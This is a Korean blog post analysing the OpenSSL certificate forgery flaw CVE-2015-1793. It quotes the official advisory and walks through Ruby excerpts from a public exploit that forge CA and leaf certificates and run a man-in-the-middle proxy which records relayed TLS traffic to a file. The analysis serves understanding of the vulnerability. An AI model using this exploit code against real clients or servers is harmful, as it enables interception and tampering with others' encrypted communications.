[EXPLOIT] OpenSSL Alternative Chains Certificate Forgery (CVE-2015-1793) 취약점 분석

최근 SSL 관련하여 취약점에 대한 이야기가 하나 더 있었는데, 11/5일 기준으로 EDB에 해당 코드가 올라와 보고 분석할 겸 하여 작성하였습니다.

사실 이 취약점은 올 여름(6월 즈음) 발견되어 OpenSSL에 보고된 후 조치까지 이루어진 취약점입니다. 그러나 SSL 관련 업그레이드를 하지 않은 서버, 클라이언트에는 유효 할 수 있지요.

OpenSSL Alternative Chains Certificate Forgery (border=undefined height=undefined title=undefined width=undefined)
OpenSSL Alternative Chains Certificate Forgery

해당 취약점은 OpenSSL 1.0.1n, 1.0.2b 버전에서 발생되며 인증서 체인 생성 과정에서 1번째 시도가 실패하였을 때 다른 인증서 체인을 찾는 과정 중 논리적 오류를 통해 공격자가 잘못된 인증서를 사용할 수 있도록 하는 취약점입니다.

SSL 인증과정 중 문제를 발생시켜 MITM에 사용될 수 있다고 합니다. 예전에 CCS Injection 과 비슷한 느낌이지만, 내용적으로 좀 다르긴하네요.

대체로 SSL/TLS/DTLS 클라이언트랑 해당 인증을 제공하는 서버 모두 취약하다고 볼 수 있습니다. (물론 해당 버전.) MITM 공격에 사용될 수 있는 취약점이지만, 파급력이랑 공격코드 측면에서 약간의 어려움이 있어 낮게 평가되는 점도 있긴합니다.

물론 현재는 공격코드가 잘 오픈되어 있지만요.. : )

OpenSSL 공식 홈페이지의 버그리포팅 내용입니다.

Severity: High

During certificate verification, OpenSSL (starting from version 1.0.1n and
1.0.2b) will attempt to find an alternative certificate chain if the first
attempt to build such a chain fails. An error in the implementation of this
logic can mean that an attacker could cause certain checks on untrusted
certificates to be bypassed, such as the CA flag, enabling them to use a valid
leaf certificate to act as a CA and "issue" an invalid certificate.

This issue will impact any application that verifies certificates including
SSL/TLS/DTLS clients and SSL/TLS/DTLS servers using client authentication.

CVSS v2 metrics

  • Base Score 5.8
  • Base Metrics AV:N/AC:M/Au:N/C:P/I:P/A:N
  • Access Vector Network
  • Access Complexity Medium
  • Authentication None
  • Confidentiality Impact Partial
  • Integrity Impact Partial
  • Availability Impact None

EDB-38640 살펴보기(https://www.exploit-db.com/exploits/38640/)

EDB 링크를 통해 확인해보시면 SSL 관련 ruby 코드가 있습니다. (Ruby가 좋아요 :} )

Usage: ssl_accf [options] host cacert key cert

Options:
    -H, --local-host HOST            Local host
    -P, --local-port PORT            Local port
    -d, --debug                      Debug mode
    -h, --help                       Show this message
    -o, --output FILE                Output file
    -p, --port PORT                  Port
    -v, --verbose                    Verbose mode
        --pass-phrase PASS_PHRASE    Pass phrase for the key
        --subject SUBJECT            Subject field for the fake certificate
        --version                    Show version

실행 시 인자값으로 host , cacert key cert 4개의 파라미터를 받고 옵션을 주어 추가적인 액션이 가능합니다. 설정된 인증서 값을 가지고 OpenSSL을 이용하여 인증서 정보를 세팅합니다.

..snip..
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
..snip..

face cert setting


fake_name = OpenSSL::X509::Name.parse(subject)
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

fake cert 까지 세팅이 완료되면, Proxy 서버를 생성 후 루프를 돌면서 생성된 Proxy 서버에 연결된 클라이언트의 데이터를 확인합니다.

loop do
  Thread.start(proxy.accept) do |client|
    puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

    context = OpenSSL::SSL::SSLContext.new(:TLSv1)
    context.verify_mode = OpenSSL::SSL::VERIFY_NONE

    tcp_socket = TCPSocket.new(host, port)
    server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
    server.connect

    puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

    loop do
      readable, = IO.select([client, server])

      readable.each do |r|
        data = r.readpartial(4096)
        data.hexdump($stderr) if debug
        puts '%d bytes received' % [data.bytesize] if debug || verbose

        if file
          file.write(data)
          file.flush
          file.fsync
        end

data 변수에 저장된 값을 file 파일포인터에 데이터를 쓰는 부분도 존재하구요.

Metasploit 에서도 올라와 있었네요. auxiliary/server/openssl_altchainsforgery_mitm_proxy

  • 2015-07-09
  • OpenSSL Alternative Chains Certificate Forgery MITM Proxy

Reference

https://www.exploit-db.com/exploits/38640/ https://access.redhat.com/security/cve/CVE-2015-1793